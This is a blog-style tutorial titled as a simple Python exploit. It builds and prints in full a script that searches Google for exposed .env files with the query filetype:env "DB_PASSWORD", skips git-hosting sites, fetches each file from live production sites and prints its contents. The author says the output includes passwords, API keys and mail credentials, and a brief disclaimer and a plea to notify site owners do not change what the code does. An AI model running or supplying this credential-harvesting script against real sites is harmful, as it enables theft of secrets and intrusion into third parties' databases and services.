Create a simple exploit with Python

Create a simple exploit with Python

In this article we will create a simple exploit with Python.

NOTE: Since the entire code snippet is not that long, no final code will be provided on GitLab this time.

Foreword

This article is STRICTLY for educational purposes. All the information inside the article is deemed public data and no illegal methods were used in order to obtain this information.

Prerequisites

Some prerequisites before you get started:

Usage of venv is strongly recommended to keep your python packages separated from your host machine.

1. Exploit?

Exploit by definition:

Exploit - to use someone or something unfairly for your advantage

Not helpful in our case. While this might apply as a general term in any sort of business/life event, we need a better definition for coding related world.

Exploit - code that takes advantage of a software vulnerability or security flaw

Much better. Well, let me tell your right off the bat - we will not explore any software vulnerability or security flaw. We will create a code that will give us publicly available information about sensitive data that MAY be used to inflict certain damage - which we won't do :)

1.1 What are we creating?

Good question, glad you asked. When you develop an application - in most cases, you will create a .env file that will support (bootstrap) your application with environment variables. Well, some people tend to deploy these files along with the application on a production server instead of using tools like Vault for example.

Keep in mind that this may be a good practice IF you do some protective measures. This file has to be hidden from the public view!

Some people don't take this seriously, which is quite unfortunate for them.

This information is what we will be exploiting today.

2. Python app

Create a new Python project and along with it create a new venv that will hold our Python packages. Install the required Python packages:

pip install aiohttp
pip install beautifulsoup4

We will need to search the internet (Google) for this - I will say it one more time - publicly available information. We will want to create some GET requests:

async def _get_response(url: str, session: ClientSession) -> ClientResponse:
    resp: ClientResponse = await session.get(
        url,
        headers={
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
        },
        ssl=False,
    )
    resp.raise_for_status()
    return resp

Looking good eh? We will send an async (if you don't know how to make use of async, check it out here) request and try to get the response (raise Exception if something goes wrong). We will also try to avoid certain sites from blocking us by making use of the custom User-Agent header.

Next step, we need to submit a google search query and convert the response into a BeautifulSoup object:

async def _google_search(query: str, session: ClientSession) -> BeautifulSoup:
    response: ClientResponse = await _get_response(
        f"https://google.com/search?q={query}", session
    )
    return BeautifulSoup(await response.text(), "html.parser")

So, once the search results are in, and we have our HTML (await response.text()) we want to convert it to a soup object which means that Python will be able to understand and search the HTML code.

Next - get a list of wanted results:

def _get_results_list(soup: BeautifulSoup, session: ClientSession) -> list:
    results: list = []
    blacklist: list[str] = ["github", "gitlab", "bitbucket"]
    for a in soup.find_all("a", href=True):
        url: str = a["href"]
        if any(x in url for x in blacklist) or not url.endswith(".env"):
            continue
        results.append(_get_response(url, session))
    return results

Some devs tend to push the development .env files to git repository hosters (GitHub, ...) so we are not interested in those. We put them inside the blacklist list.

Now we want to iterate through all of the google search results that contain the links (a tag in HTML) and take every single URL that does not contain elements from the blacklist list and also ends with .env. So we will filter out something like this:

https://github.com/some-repo/.env

But we are interested in something like this:

https://some-production-site.com/.env

Once we find our targets, we append them inside the results list with an available callback _get_response for that specific URL.

The final step is to put it all together:

async def exploit(query: str) -> None:
    session: ClientSession = ClientSession()
    try:
        soup: BeautifulSoup = await _google_search(query, session)
        results: list = _get_results_list(soup, session)
        for resp in await asyncio.gather(*results):
            content = await resp.read()
            print("======== START ========")
            print(content.decode())
            print("========  END  ========")
    finally:
        await session.close()


asyncio.run(exploit('filetype:env "DB_PASSWORD"'))

The exploit coroutine will firstly create a new async session to be used, then we will submit a google search for the given term (the one that will find the sensitive info) which will return a google search HTML with the vulnerable data. We will then get the results list by applying certain filters to all the results that were returned (_get_results_list method) and then we will get the content of each of these targeted sites (the content of the .env files of each URL from the results list) and print it out. Finally, we will close the session when it is no longer needed.

The most important part here is the google search query filetype:env "DB_PASSWORD".

We are searching only for a certain file type (.env) that contains certain information inside it (DB_PASSWORD).

2.1 Full code

For the lazy ones :P

import asyncio

from aiohttp import ClientResponse, ClientSession
from bs4 import BeautifulSoup


async def _get_response(url: str, session: ClientSession) -> ClientResponse:
    resp: ClientResponse = await session.get(
        url,
        headers={
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
        },
        ssl=False,
    )
    resp.raise_for_status()
    return resp


async def _google_search(query: str, session: ClientSession) -> BeautifulSoup:
    response: ClientResponse = await _get_response(
        f"https://google.com/search?q={query}", session
    )
    return BeautifulSoup(await response.text(), "html.parser")


def _get_results_list(soup: BeautifulSoup, session: ClientSession) -> list:
    results: list = []
    blacklist: list[str] = ["github", "gitlab", "bitbucket"]
    for a in soup.find_all("a", href=True):
        url: str = a["href"]
        if any(x in url for x in blacklist) or not url.endswith(".env"):
            continue
        results.append(_get_response(url, session))
    return results


async def exploit(query: str) -> None:
    session: ClientSession = ClientSession()
    try:
        soup: BeautifulSoup = await _google_search(query, session)
        results: list = _get_results_list(soup, session)
        for resp in await asyncio.gather(*results):
            content = await resp.read()
            print("======== START ========")
            print(content.decode())
            print("========  END  ========")
    finally:
        await session.close()


asyncio.run(exploit('filetype:env "DB_PASSWORD"'))

Closing words

We did not do any illegal hacking with this simple exploit. We can't even call it an exploit since everything we did here is available publicly, we just know what to search for - right?

With that being said, once you execute this code, you will see some sensitive information being printed out like passwords, API keys, mail credentials, etc.

BE A GOOD GUY, NOT AN A**HOLE - help these devs to fix their security holes and let them know something is wrong on their site.

If you don't want to be the good guy, well, cybercrime is a serious offense so keep that in mind :)

As always, thanks for reading!